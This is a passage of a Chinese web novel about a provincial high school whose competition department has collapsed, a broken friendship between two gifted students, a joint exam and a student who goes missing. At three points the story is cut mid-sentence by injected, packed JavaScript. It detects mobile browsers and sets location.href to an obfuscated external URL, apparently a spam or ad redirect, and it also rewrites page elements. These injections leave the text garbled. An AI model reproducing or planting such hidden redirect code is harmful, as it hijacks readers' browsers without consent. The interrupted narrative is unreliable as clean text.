这下竞赛部这帮人倒霉,大家都喜闻乐见,跟过年一样开心,连连感叹这下众生平等了。 一帮虚构史学家下课别的什么也不聊就在撰写《竞赛部倒闭背后你不知道八大秘密》。 其中被公认最有可能性的那一条是——竞赛部那帮少爷惹毛了曾经和校长爱得死去活来的心尖宠,以神秘为保护色的冰山美人。 这秘密套秘密的,没完没了了。 总之,竞赛部垮台是目前不争的事实,平时以竞赛为名义逃月考的这次开学九校联考必须得赶鸭子上架去丢人现眼了也是不争的事实。 “你问为什么开学考是九校联考啊,”怜悯地看着魏浩的他的好同桌解释,“咱学校不是和那几个高考大省名校搭上线了吗,他们考试现在就带我们一个。” 魏浩听到那几所知名升学率不是以本科率计算是按清北率计算的学校名字,颤颤巍巍地发问:“不是,咱凭什么?还有,我们考什么?他们自己的内容吗?” “哦,这个呀!”他同桌潇洒地拍了拍桌上那一堆书,龇个大牙,“全部!高考内容!” “不儿,我没要是没搞错的话,我们现在才,高二上刚开学吧,我没穿越吧!” 同桌欣赏了一下曾经出现在他脸上现在转移到魏浩脸上的扭曲神情,还是看别人崩溃爽啊,继续:“我们是没上完,人家上完了,蹭人家的车得听人家的规矩。” 附中虽然是省内数一数二的名校,但鉴于本省教育资源过于落后,虽然竞争没那两山两河那么激烈,但高考的各项指标均列倒数,好学校录取的名额也少,属于是没书可读重灾区。 很多学生都笑称自己就是大山里的孩子,做梦都想走出大山,实现阶级跨越。 虽说高考是省内竞争,如今有几门还是省内自主命题,比不上大省确实无需自卑。 但当年附中分裂伤了根基,好学校的陨落就从没有好老师教不出好学生出不了成绩开始恶性循环。 为了谋求一条出路,宋校长不破不立,砍掉了几个包括国际部在内将建的项目,开创了从外部找突破的先河,把当时所剩不多的资源力量全投入到与大省名校深度合作上面,也就出现了现在的局面——他们要和人家考一张卷子被血虐。 “所以,现在老师们都因为这个考试在赶课呢!虽说是刚开学,但咱暑假已经来“自愿学习”一个多月了!” “没事的魏哥,现在不适应,上两天课状态就回来了。我们现在有每天都有早测午测晚测!” 魏浩在竞赛部打游戏与世隔绝久了,一下子听到这一大堆感觉要上个呼吸机拯救一下他岌岌可危的生命。 叽里咕噜说啥呢,想跳。 8. 第 8 章 所谓横看成岭侧成峰,一千个心中有一千哈姆雷特。竞赛部风云对于不同的人代表了不同的意义。 对于冯熠而言,那场风波有如震醒他内心的惊雷。而于魏浩而言,那只是意味着他睁眼打游戏闭眼听摇滚的潇洒生活远他而去。 唐瑜嫣说的那些话直接在他的大脑皮层划过,没留下任何痕迹,或者说,他不敢让它们留下痕迹,他不想思考什么人生选择。 但他不得不重新回到食堂宿舍教室三点一线,日复一日刷题上课的平凡而又枯燥的生活,正如其他只能靠高考改命的千千万万个高考生。 从一大早被体育老师通过音响,放大转播撕心裂肺的公鸭嗓开始,“起床了同学们,早操早操!快点啦!展现出我们铁山学生的精神面貌!” 再到囫囵吃个早餐,却被副校长从食堂赶回教室,“要早读了,大家稍微提前点到教室。” 回到教室,班主任又非说站着读效果好,把早起困到麻木的同学挨个拎起来,翻来覆去地读高考语文必背七十二篇。 魏浩感觉自己已经失去了作为人的主动性,按时按秒地像提线木偶一样一下被安置在这,一下被推放到那。 好不容易在早读完到第一节课前能有个十分钟,让他有机会阖个眼,头还没低下去呢,他就被同桌拍醒,“魏哥,别睡,语文小测!” “……” 毫不夸张地说,魏浩这个上午纯在受罪,一上高中他就去竞赛部了,基本就没在教室正儿八经上过课。 这下一翻书,上来就是什么安培力洛伦兹力,加聚成环羟醛缩合,圆粒皱粒9331,这能听懂才有鬼! 终于是给他熬到数学课了,他咬牙切齿地想:“竞赛老子学不会,高考内容我还能不会吗!” 思至此,一早上浑浑噩噩昏昏沉沉的眼神瞬间明亮,他挺直背就往黑板上瞅。 这不瞅还好,一瞅就看到他们数学老师用了一个极其麻烦的方法在解圆锥曲线压轴题,写了三块黑板不算,从第二块黑板中间开始就算错了! 这下他彻底不困了,其实他最初想参加数学竞赛,确实是因为他对数学这门课抱有纯粹的热忱,只是在追梦的过程中一点点变质了而已。 人一但在自己擅长的领域里,就满身的牛劲,也不扭扭捏捏思前顾后,半天吐不出一个字了。 魏浩一下把上节课翻得乱七八糟,但依旧没找到上到哪个知识点的书拍上。在“啪”的一声巨响中自信举手。 “老师,你第二块黑板第二行那通分通错了,后面所有用到韦达定理值的地方都代错了。” “而且,比起直接联立暴力韦达,我认为这题齐次化更加简便且不容易算错。” 难得有人在这死气沉沉的数学课上开口,数学老师倍感欣慰,也不拿乔。本来算到这,他也算不下去了,正满黑板找错误。 正好这位前数学竞赛生愿意主动接盘,于是顺水推舟地退居二线,让他上来表演。 魏浩在班里同学眼巴巴地注视下,跨步走到台上,如一位救人于水火的英雄一般。 这暴力算法谁都会用,就是根本算不下去,就算这次算对了下次也可能算错。 听了这么久讲解,除了困意增长,哈欠连天,并没有其他知识上的收获,大家早就期待着能听到点新方法了。 正发现老师算错了,从抽屉里抽出草稿纸,准备从头算一遍的严鹏飞在听到魏浩开装的第一秒就停下笔,默默抬头盯着他。听他在上面洋洋洒洒侃侃而谈。 “我们先观察要求的这个斜率和,如果我们用韦达,就必须把x1+x2,y1+y2全算出来,特别容易算错。我们现在用mx+ny代替这个1……” 他边解释边在黑板上把推导步骤写出来,打了几个圈,全然不管粉笔在他肆意地涂画下惨遭腰斩,还将粉笔的尸体抖掉,拿着剩下半截继续写。 “对的,这样我们就能直接得出斜率,不用具体算x和y。” “哦,这个方法适用于很多题目,求斜率的基本都可以用。” “也不是,如果是这个的话,可以用定比点差法,哦,好吧,要下课了……”他意犹未尽地走回座位,“怎么数学课就过得这么快?” 魏浩感到了久违的学数学的快乐,那种众生皆凡人唯有我得道的优越感,而不是被别的省的竞赛大佬摁在地上锤的无能。 ——一言以蔽之,又给他装到了! 严鹏飞看到他这么臭屁的样子,忍不住哼笑了一声。 他的同桌见状颇为苦恼地问他,“严哥,好难啊……你会用这个定比等差吗?” “不会,”严鹏飞一撩眼皮,漫不经心但肯定地说,“你可以去问魏浩,他等着跟你炫耀他100种解数学题的小妙招。” 他同桌这才往魏浩那边扭头,发现后者两旁的过道已经快堵得水泄不通了。这厮刚刚装的逼吸引了几乎一整个班的眼球。 眼见着魏浩旁边围了越来越多的人,他忙不迭地拿起笔和草稿纸准备冲过去,“嗷,好的严哥,那我去了……哎严哥,你不去吗?”他还怪好心的,不忘关心自己的大佬同桌。 “嗯……算了,老陈有事找。”严鹏飞惜字如金,收拾好包逆着人流走出教室。 正巧数学课是上午最后一节,后面没有下一节课挤压时间,加上高二中午下课比低年级晚十分钟,现在去食堂是人最多的时间,大家都喜闻乐见地听魏浩宣传他的各种解法。 魏浩嘴角都快咧天上了,也不藏私,谁问都答,有种开出名师讲坛的意思。 最后大家终于发现再不去食堂中午就没饭吃了这一倒霉事实,这讲题大会才散掉。 魏浩意犹未尽,下意识地往严鹏飞座位看,想和他吹嘘今天自己的英姿,这才发现这人早走了。 他突然有点蔫了,亢奋的精神冷却下来。四周环视了一圈,竟找不到一个合适的人跟他吃饭。 “冯熠他们估计早就走了。”他默默地想。而且就算还在,他也不想坐在最近神游天外要搭不理的冯熠对面吃,看着倒胃口。 况且凭心而论,他其实跟冯熠以外的其他人不算很熟,只是冯熠拉着他们组团打游戏才经常一起走。 冯熠讲义气,性格又好玩,开得起玩笑,在一帮哥们里混得开。 但他在被称之为竞赛部混子之前,也是学校的偏科天才,有自己的骄傲,他打心眼底认可的最好的朋友就只有严鹏飞。 但就和他记不清他什么时候和严鹏飞成为好朋友一样,他也不知道他什么时候和严鹏飞渐行渐远了。 或许是他开始沉迷于打游戏和抽卡再也没翻开过竞赛书。 或许是严鹏飞有在好好劝他但他以为那只是挑衅没回一句好话。 或许是因为那间被他们弄得乱七八糟的竞赛教室,但是……他。 青春期的男孩子性格大条不拘小节,等反应过来的时候事情大多已经走向了他们所认为很难挽回的地步。 “哎,魏哥吃饭没,咱速速到食堂解决一下?”同桌发出邀请,他还在仔细翻找记忆角落的细节,也就顺势答应了。 “魏哥,你说严哥这次能考进年级前30没。哎你别用这种眼神看着我,我知道严哥八月集训回来才退的竞赛只学了半个月,但,别人不知道,咱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406457|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从初中部直升上来的能不知道吗,严哥以前拿过几次年级第一呢!” 魏浩不说话,他同桌就一直絮絮叨叨,“哎话说魏哥,你和严哥这次竞赛回来怎么不讲话了,我还以为今天他要等你吃饭呢!” 这人从小玩扫雷肯定没通过过第二关,说出的话句句精准踩雷,直接给魏浩点炸了。 “严哥严哥,严哥是你爹啊!”魏浩被这左一句严哥右一句严哥的弄得极其不爽,在心里暗暗骂,嘴上尖酸刻薄地说:“谁知道他,他爱怎么样怎么样!” 不过生活不会这么轻易给你两线开花,但也不至于让人处处不顺。 至少魏浩是这么认为的。 这几天先是老陈向全班倡议多去向他在数学这方面取经,再是数学老师节节上课邀请他上去分享一些新思路,数学课也因此灌入了源头活水。 总而言之,他们班的数学就这样基本被他承包了。 魏浩就像一只被顺着毛的猫,感觉没有电子产品和塑料兄弟过得也很滋润。 他感觉自己在一点点被拼起来,不免开始安于现状,美滋滋地想,“这样也挺好的嘛,天天学学数学讲讲题,日子过得也算惬意,还管什么竞赛部!未来的事未来再说呗!” 虽然心中总有那么一些难言的东西,他总觉得自己不该是这样的。不过就连感应电流都知道欲拒还迎保持稳定,人亦然不会违背,因此千言万语不如汇聚成三个字,“管他呢!” 话说回我们的整个年级辈分最小的老师唐瑜嫣这边,学生们在为即将到来的联考焦头烂额埋头苦学,她更是忙得晕头转向,恨不得以头抢地一命呜呼。 学生写两份化学试卷,她要改两个班的化学试卷;陈老师每上一节课,她就多出几份教案和总结;年级布置一道每日一题,她就要写十道同类型的题,力求以最快速度找到讲题思路。 这还没加上竞赛部那边的破事!现在到底是在折磨学生还是折磨老师! 但在全体领导对培育她成为学校中流砥柱的殷殷期待下,她也不好说什么,学,都可以学。 唐瑜嫣烦闷地挠了下自己的脑袋,像是要把它蹂躏成鸡窝,突然看见脱落的几根头发,惊醒。不对,她不能这个年纪就秃,变成家长信任的地中海模样。 只能转而揉揉干涩泛红的眼睛,滴了几滴眼药水,这样稍微健康一点。 她闭上眼睛,想享受一下片刻宁静,却又在眼药水冰凉的刺激下,想起了今天中午和严鹏飞的对话。 那个看起来冷冷淡淡的男孩子,在讲起自己误入歧途的好友时,总有种说不出的难过。 唐瑜嫣在办公室和陈老师一起等严鹏飞的时候,不禁回想起自己被那俩老师邀请去竞赛部那天,并暗自感慨,这世界就是个循环。 “希望这位严同学能给我们点面子,别像我当时那样,直接拒绝,最好一点就通,再不济好歹有个空间。” 她扶额,现在坐在这个劝人的位置,倒是学会换位思考了,真真是刀不捅在自己身上不疼。 不出意外,陈老师嘴笨,同一套话术,当年劝不动唐瑜嫣,现在也说服不了严鹏飞。 这孩子自进来之后,就只是坐在椅子上一声不吭,看起来在想什么,有点孤独的味道。 “嘶,这真有些难搞……他有什么也别在意的事情吗?”唐瑜嫣思索。 一丝灵光乍现,她顿时福至心灵,正色开口:“小严,我能保证之后,竞赛教室能够安静且干净。” “同时,我们保证能给你最舒适的学习氛围,也基本能确定可以把魏浩他们拉回正道。如果是这样的话,你愿意继续学竞赛吗?” 9. 第 9 章 内向、木讷、寡言、孤独、一天嘴里都蹦不出几个字…… 这似乎已经是严鹏飞的童年时被贴上的标签。 他的父母曾经都怀疑他会不会患了什么病,或是智商有什么问题。 于是每逢过年,都算是他们一家的受难日,亲戚家的小孩都是嘴甜甜的,到处讨要糖果和红包,哄得各家长辈开怀大笑。 在这喜庆热闹的氛围中,严鹏飞好像一直是那个异类,总是目光平淡且空洞的望着远方,不知道在想什么东西。严父严母只能尴尬地替他解释:“鹏飞这孩子就这样,闷葫芦一个。大家不要因为他扫了兴致。” 周围的小孩好像一直看不起他,因为他不说话,不合群,不和大家一起玩。一个不跟着羊群走的人,很容易被所有人看作是异端。 直到年纪渐长,进入小学,语数英考试出现。玩乐不再是大家生活的主旋律,无论是孩子还是家长,都逐渐走向了成绩崇拜。 而严鹏飞不知道为什么——可能是在某次路过学校宣传栏,看到了竞赛的传单——他开始报名参加竞赛。 当你抛弃了一些东西时,天赋就会集中出现在另一方面。 因此,当奥林匹克竞赛结束,一切都改变了。离群的羊羔只要足够的优秀,就自然而然地获得了所有人的青睐。 之前周围所有看不起严鹏飞的人震惊地发现,无论是哪科竞赛,只要他参加了,就能拿到奖,一等奖、特等奖、金奖、拔尖人才奖,数不胜数。 他们意识到,这个沉默的孩子定然是个超级天才,不说话可能是因为觉得其他人太笨,不配跟他交流。 但严鹏飞本人不这么想,他并不是最天赋异禀的那一批人,至少跟展妙这种干什么都一看就会的完全比不了。他只是,只是在心里搭建了一个属于自己的世界。 他认为,他能取得好成绩全部归咎于每天高精力高强度的学习,而且也只有小学的竞赛,他才能做到雨露均沾,门门开花。上了中学之后,年级第一的宝座更是好几个人轮流坐,他只是其中之一。 但不爱说话是真不爱说话,不会交流也是真不会交流。可能正因这个性格,才给他在他人眼里平添几份傲气。 魏浩忘了他俩怎么认识的,但他记得,他俩算是不打不相识,也跟数学扯不开关系。 魏浩的数学天赋在那时就已经表现出来了,华杯迎春杯希望杯基本年年拿一等奖,唯独一次AMC8只拿了一个荣誉奖,而严鹏飞拿了一个卓越。 魏浩觉得这简直是他数学生涯里一个奇耻大辱,居然这人就是在挑衅他,拿起自己的一箩筐奖状就往角落严鹏飞的座位杀去。 他把奖状重重砸在严鹏飞座位上,也不管人家同不同意,命令道:“你今年给我继续好好学数学,明年咱俩在这比赛上再比一场,我肯定比你对的多!” 严鹏飞写着作业呢,听着他这儿那儿今年明年的一头雾水,一句话也不敢说。 “哎!你还敢不理我!”魏浩拿起那张丢脸的荣誉奖奖状在他前面挥舞,气不打一处来,“就这个啊,记得啊!” “我这次运气好,下一次肯定是你高,不用比。”严鹏飞解释。 “靠,算你有眼力见……哎不是你这写错了啊,不是这种题你都能写错吗!你怎么考过我的!”魏浩突然瞪大眼,指着他那本奥数题。 严鹏飞刚想解释可能是答案印错了他也在思考,这人就不请自来地刷刷刷写下了这题的解题方法,拍在他胸前。 “给你传授我100种解数学题小妙招之一,好好看好好学啊,明年咱一定要比一场!”魏浩留下了一个潇洒的背影。 总之后面的故事很俗套,魏浩之后天天来检查他的学习进度顺带嘲讽一下他解题的方法怎么这么复杂,他俩就渐渐熟起来了。 这大概是第一个主动和他聊天的朋友,严鹏飞想,因此他一定会好好珍惜。 第二年竞赛的结果严鹏飞已经不记得了,反正魏浩肯定比他高,当时魏浩还耀武扬威了好一阵,嚷嚷着我就是数学天才! 再后来他俩居然考到了一个初中,在新班级里撞上的时候两个人的眼睛都瞪大了,换到新环境里忐忑的心情突然就不剩什么,他俩也就顺势每天勾肩搭背地一起吃饭。 最离谱的是因为魏浩沉浸于数学世界,严鹏飞又在初三做实验时,被那五光十色的化学反应吸引,导致高中分科时这俩不约而同地都选了物化生,又被分在同一个班。乃至最后连竞赛都是一起去的。此番种种让人不禁感慨缘分之深。 然而天不遂人愿,魏浩对数学的执念注定了他在刚去竞赛部的时候就开始拼命学习拼命刷题,才学了几个月就报名参加一些机构大型的模拟考试。 正如天下英雄如过江之鲫,全国数学竞赛也是大佬云集,加上很多冲牌子冲国家队的都已经是高二二战。 论努力人家比他多学一年,论天赋他虽出类拔萃,但敢参加数学竞赛的谁不是从小被叫天才。魏浩不免泯然于众。 刚开始他觉得没什么,他认为自己早晚有一飞冲天的一天,只不过是时间问题,但随着一次又一次在模拟考试中的挣扎,毫无丝毫起色,他开始看见理想与现实之间的巨大沟壑,他逐渐陷入自我怀疑,内心居然出现了这样的声音—— “我真的适合学数学吗?我真的能称得上是天才吗?还是说这只是我一厢情愿的幼稚幻想呢?” 这种念头很可怕,可以说是对他整个人至今为止所建立自我认知的彻底否定。“我大抵是产生心魔了,也大抵不想再看到竞赛题了。”他痛苦地想。 因此他变得惶惶不可终日,往日喜欢的数学题现在一看就害怕,模拟考试也越考越差。 越是这样他就越想证明自己,他就是独一无二的,有着异于常人的独特优势。但世事一帆风顺难得,此番执念反倒成为了压倒骆驼的最后一根稻草,五月份的数竞初赛,他竟然没有考过有几个完全没接触过数学竞赛的人,以最后一名的成绩进入正赛。 他再也不敢看竞赛题了,这时正好本来到竞赛部就是来骗爸妈生活费的冯少爷邀请他一起打游戏,他想着,不如就此放松自己,别把自己憋疯了,就顺势答应了。 大多寄情于虚拟世界的人都是不敢思考现实世界的不顺,魏浩亦然。他不想多想,怕那些构成自己的基本信念认知彻底消失垮掉,于是每天就跟着这帮少爷一起混日子。 严鹏飞一直是让老师最满意的稳扎稳打那类的学生,所以他其实很早就劝过魏浩不要这么急功近利,过快超过应有进度,把基础打好,一轮结束二轮开始以后再参加模拟赛。 但对方无比相信自己能够杀出一条通天路,什么困难与挫折通通不存在。所以在魏浩眉飞色舞地幻想等他们一起进了省队国家队还可以一起吃饭一起玩,他只说了一句我学化竞你学数竞我俩不在一起训吃不了饭。 以至于后来魏浩失意,严鹏飞也不知道还能说什么安慰他,于是建议他干点别的转化下心情,心情好了再回头想竞赛这些事。毕竟他的人生没有走进死胡同,只是思想扭曲了。 好像那天还在下暴雨,黑云压城的,将将入夏的雨中还不时夹杂着几道雷声。 魏浩第一次冲他大喊:“你以为我是你吗!做什么都能做好!你参加化学竞赛是兴趣爱好!就算没拿奖也能回去考高考!但我只有数学了!” 不是的,严鹏飞同样感觉内心世界在崩塌,你怎么能跟别人说一样的话,哪有那么光鲜亮丽,明明我们总是一起刷题到大半夜…… 不知什么时候,他和魏浩已经不同频了,他们逐渐走向了两条相反的道路。 “你…你别说话了……!别来刺激我!”说完魏浩就摔门而去。“砰”的一声巨响比外面轰鸣的雷声还惊人。 再后面魏浩沉迷于打游戏,和冯熠那帮人打得火热,再也不来找他吃饭了,他很难过,内心那座荒成尚未修补,对于魏浩的绝望与逃避更是无能为力,索性在暑假报名了省外集训远离学校。 等到他集训回来整理好心情,希望跟魏浩好好聊聊,说不用焦虑,说在集训的过程中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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冯熠他们看比赛看嗨了想找个空教室玩,想着魏浩跟严鹏飞这么熟,不说现在化学竞赛在集训,就算在平时这教室也是严鹏飞在的时间长,这不是,正好给他们借来用用。 最后这帮神经大条的少爷玩完了剩个残局,压根就忘记了这回事,十天半个月了才想起来跟竞赛部主任汇报。 竞赛部主任更是气,总不可能让他来打扫吧,这都什么事啊,就叫了几个保洁过几天来消杀。 就在这几天,好巧不巧,化学竞赛那帮人集训回来了。 说实话谁也没说过这教室这么乱跟魏浩有关系,严鹏飞就直接先入为主了。 魏浩还奇怪呢,这人怎么一声不吭就退出竞赛部了,他那天情绪上头语气虽然是冲了一点,但完全没有想绝交的意思,他怎么说走就走了? 后来才有人告诉他事情的原委,可能他都没比唐瑜嫣这新老师早知道几天,莫名其妙一口大锅给他扣到头上来。 他知道以后就气不打一处来,准备冲回班找严鹏飞理论。但刚下竞赛部的楼,他突然就清醒了。 他根本不敢见严鹏飞,不敢提这些破事,因为竞赛这些事,他觉得自己已经够失败了,他无法接受自己最好的朋友也是因此和他疏远。 这事你不说,我不说,误会就出现了,也就造成了这时谁也不理谁的局面。 说回办公室这边,一旁一直如人机一般的陈老师突然灵光一闪,摸着下巴说:“小严啊,我思忖着既然小魏这么想表现自己,你说咱们多给些他机会,他会不会重拾信心?” 也不管办公室另外俩人什么反应,他直接一拍手像是下定了什么决心,“这样,我去和数学老师沟通,让他多上去分享思路,同学这边也动员一下。这样还能让同学们共同进步!” 所以你看,即使老师嘴笨不会说话,他们也会尽自己所能帮助学生。 这大抵是天下教育工作者共同的可敬之处。 10. 第 10 章 联考于一片哀嚎和一片期待中如约而至。 哀嚎的是不想考出此生最烂的成绩,期待的是想赶紧让头上这把达摩克利斯之剑落下结束折磨。 无论如何,联考的到来和考试的难度不会因为任何主观意愿而改变。 唐瑜嫣坐在讲台上监考,不能玩手机和看书,索性就默默观察这帮一直被捧得感觉自己天下无敌的孩子们看到天外来敌的反应。 在看到这张卷子之前,大家心里多多少少都有些不服,清北率七八十唬谁呢! 但唐瑜嫣清楚得很。她之前去集训,展妙对这些名校内部试卷好奇已久,直接勇敢发挥社交能力去薅了几张不同科目的卷子回来给大家一起来鉴赏。 她还记得那些卷子上花里胡哨的图形和条件,好几题的难度对标的是竞赛,她能保证全部写满的就只有化学卷子,那帮高考大省的学生简直是一些逼疯人的怪物。 但显然旁边的展妙更是怪物中的怪物,她在大家知难而退后独自闷声研究了半天,居然连带着物化生全写出来了,还拐着唐瑜嫣跑去跟人家学校的同学分享解题方案,这下算是名扬于外了,直接给他们学校长了一波脸。 不过啥也写不出才是常态,眼前这帮自诩天才的孩子一翻开试卷,唐瑜嫣就看到他们一个个从瞪大眼的“我靠”,到冥思苦想二十分钟发现什么玩意都算不出来的崩溃,再到发现还有十分钟交卷了还有三分之二的卷子没写的释怀。 直到交卷的铃声响起,唐瑜嫣看见他们脸上浮现出诡异的笑,一边挥动肢体一边大喊:“道爷,我成了!” 哈哈又疯了一帮人!这怎么不算一种压力型飞升者。 清点完数后,唐瑜嫣抱着卷子从人群中穿行而过,周围学生叽叽喳喳对答案抱怨发疯的声音不绝于耳。 “哎,你第一题会写吗,这卷子我觉得最难的是第一题你敢信!卡了半小时发现后面居然有几题送分的!” 好的,死磕型的。 虽然这帮孩子很崩溃,但唐瑜嫣心情很不错,论谁知道自己今晚不用加班心情都会很好,正所谓人类的悲喜并不相通,她还有闲心给他们一个个贴标签下定义。 “我怀疑那题都是错的!我算了好几遍了跟选项没一个一样!”这个是质疑型的。 “写不出来,看哪个顺眼乱选的,管他,对了是我赚!”哦,看来大多是乐观的玄学听天由命型。 “这才是校园日常啊!”唐瑜嫣不由得感慨,自己一天天遇到的都是什么事,她想要精彩丰富的生活体验不假,但不意味着她期待什么麻烦事都要往自己脸上扑。 这段时间忙得连轴转,她几乎都要忘记当时在校长办公室开完会,她磨蹭在最后,腆着脸跟那人要联系方式的那档子事,“宋校,麻烦加个联系方式,竞赛部这边有事我好第一时间汇报。” 她在这人出国失踪几个月后就潇洒地把他删了,不让他留在联系人那碍自己眼。 周围的空气有些粘稠迟滞,她在她如今顶头上司揶揄又似笑非笑的眼神下,用一种问心无愧的坦然眼神回望。 不过宋飞珑也没特别为难她,很爽快地掏出手机,“好啊,我扫你?” “别别别,你是领导,我来扫你。”她想了想不管他是谁,至少基本的职场礼仪潜规则要遵守。 宋飞珑像是听到了什么好笑的话,嘴角微微上扬,“不要这么拘谨嘛,回铁山就和回自己家一样,什么领不领导的,就一村官,别埋汰我了。” 随后从她迟疑的手中抽出她的手机,拿自己的手机快速扫了一下上面二维码,“旧的那个手机丢了,这是我的新号,记得通过申请呀小唐领导!”在她眼前晃了晃手,感觉是在给她递台阶。 不过听到他不打官腔的话,唐瑜嫣总算是松了一口气。 虽然说是公事公办,但刚刚开会时他震住以前那些老师的威严样子让她莫名有些难过,那不着调的小少爷怎么变成这样了。 现在看来他依旧有那种能打破尴尬让人感到亲近的能力,第一次见面是这样,现在仍是这样。 她忽然也不拧巴了,他们俩当年分享过各自那么多莫名其妙不着边际的想法,就算不提爱情,也称得上半个挚友知己。本来就不应该这么陌生,只是中间横了许多乱七八糟的事。 随着时间的流逝,这些以往无法接受的事她也慢慢放下了。如今宋飞珑并不不在意,她有什么好介怀的。 看着她逐渐活过来的神情,宋飞珑再次温和地开口,“小唐,现在咱家有难,竞赛部这事就拜托你了,我相信你能行,事成之后,我请你吃庆功宴!” 唐瑜嫣轻哼一声摆摆手,转身潇洒告退,英姿一如初见,“尽人事听天命,我差你这一顿吗!” “别啊小唐,远离玄学迷信,从我做起!相信自己的主观能动性,按自己的想法做就好啦!”在关门之前,她听见宋校长热切地扬声呼喊。 虽然到目前为止,她和宋飞珑的聊天框除了那句冷冰冰的“我通过了你的朋友验证请求,现在我们可以开始聊天了”,就只剩一些工作交接安排和会议消息。 毕竟破是破冰了,见面没那么尴尬了,但他们大概只是成为了一对生活在两条平行线上没什么事就不会打扰对方的老朋友。 彼此的聊天框就这样静静躺在各自手机里面,默默见证着什么,远没有当年那么热络。 不同于魏浩和严鹏飞那两个人都不知道在怪自己还是在怪别人,纠结于一些未解开的心结。 他们似乎缺少一个契机,一个适合开始熟络聊天叙旧的契机——或许是宋飞珑许诺的竞赛部的事结束之后那场庆功宴。 现如今虽然是累得脚不沾地,但竞赛部那边的事估计是可以解决了,这庆功宴八成是能吃到了,唐瑜嫣看着铁山的天边千奇百怪的云,内心又升起些许愉悦。 联考的第一天平淡地走向尾声,校园广播音乐轻柔地演奏着,桂花的暗香幽幽地在空气中浮动,傍晚的晚霞甚至是粉紫色的,像一段不可言说的晦暗心事。让人不禁感慨,好一个黄昏! 她加快了脚步,希望快点到办公室把答题卡扫进电脑,让她早点回公寓泡杯咖啡找部文艺片犒劳一下每天都在加班的自己。 办公室里,扫描仪和电脑程序也都不负所望,很快就把所有工作全部处理好。 大事小事都在正轨上,就算现在看到条狗在乱叫,唐瑜嫣都能夸它两句天籁之音。 正所谓福祸相依,人不能高兴得太早,幸灾乐祸也是有代价的。事情如此之顺利,不出意外的话,要出意外了—— “小唐老师,你看到姜程阳了吗?他有没有回竞赛部?”突然有位不速之客冲进了她办公室,很着急的样子,不知道是哪个老师,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406459|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没认全她的同事。 唐瑜嫣直觉什么不对,停下手中动作,确定地说:“没见过,但他不可能回竞赛部,门是锁着的。” 那个老师脸“刷”地就白了,“他消失一天了,早上考试的时候就不在,我刚刚守晚自习的时候才发现!” “没有人知道他去哪了吗?他同桌呢?”旁边有老师注意到了这边的对话,在上学时间学生不见了可是大事。 说到这个那老师就又气又无语,“那几个拎不清的小崽子压根不知道他在哪,以为他在打球还在帮他瞒着呢,哎,我真的,不行,我要查教学楼监控去了!” 这事唐瑜嫣真不能坐视不理,先不说他八成是因为竞赛部的事才闹这出,要出事了跟唐瑜嫣脱不了关系。 更重要的是他再能也只是个未成年,万一一个激动做出点让自己和家人后悔的事。 班是下不了了,她立马正色,打电话给徐真让她看竞赛部那边的监控,然后又跟年级分管领导周组长简要快速讲了这事让他来主持大局。 周组长炒着菜呢,听到这事火一关围裙都没脱就赶紧跑回学校。 “小唐你赶紧把这事跟校长汇报一下,他和副校现在应该在西德那边出差!”周组长吩咐。 唐瑜嫣了解,她已经跟宋飞珑说过了,对面说让他们动用学校全部资源找人,让别的年级有空的老师也过来帮忙。 “你们赶紧找个人看看校门口的监控,刚刚后台看见他在门口刷脸没刷出去,可能翻墙翻出去了!”周组长急得估计明天要上火嘴上长俩泡。 一帮老师不敢打扰到学生准备明天的考试,在校园里跑上跑下。 “周组长,我们在校门口这看监控没看到这位姜同学。”这几个看监控的老师都快把屏幕盯穿孔了都没看到姜程阳的身影。 “周组长,竞赛部这边也没有!” “周组长,这边他上午出了宿舍就再也没回来过。” “怎么可能,找,再找,教学楼那边再仔细看,我知道考试完下午学生很多,多点人去看!” “多叫点老师,去操场那边找找,他既然没有翻墙就一定在学校里面,不可能人间蒸发了!” 学校所有应急的大灯都开了,也顾不上什么光影美感了,试图照亮学校的每一个能躲人的死角。 “有没有跟姜程阳熟的学生,知道他平时喜欢往哪跑?”周组长看到差不多一个小时了连个方向都找不到后急火攻心,连灌了几壶凉茶。 “基本都问过了,他们说姜程阳除了平时喜欢在球场打球之外就是在就是在竞赛部打球,这些我们都找过了,都不在。他也没有什么经常去的校园角落……”姜程阳的班主任回答。 周组长突然想起什么似的,“小唐,你当时跟他们夜谈的时候他有说什么吗?” “没有,没什么异样,他不说话,就坐在哪神游。”唐瑜嫣回想起这位铁山流川枫同学,除了喜欢在教室里打球,跟那帮闹腾的少爷比起来,几乎没什么存在感。 周组长一拍脑袋,觉得这事愈发棘手且压根无从下手。 焦急的气氛在老师间蔓延,这孩子消失这么久了,万一出了个什么事…… 在这一筹莫展之际,打破僵局的是徐真发来的一条消息,说她找到姜程阳了,在教学楼的天台上,让他们别激动地全冲上去,她正在劝。 11. 第 11 章 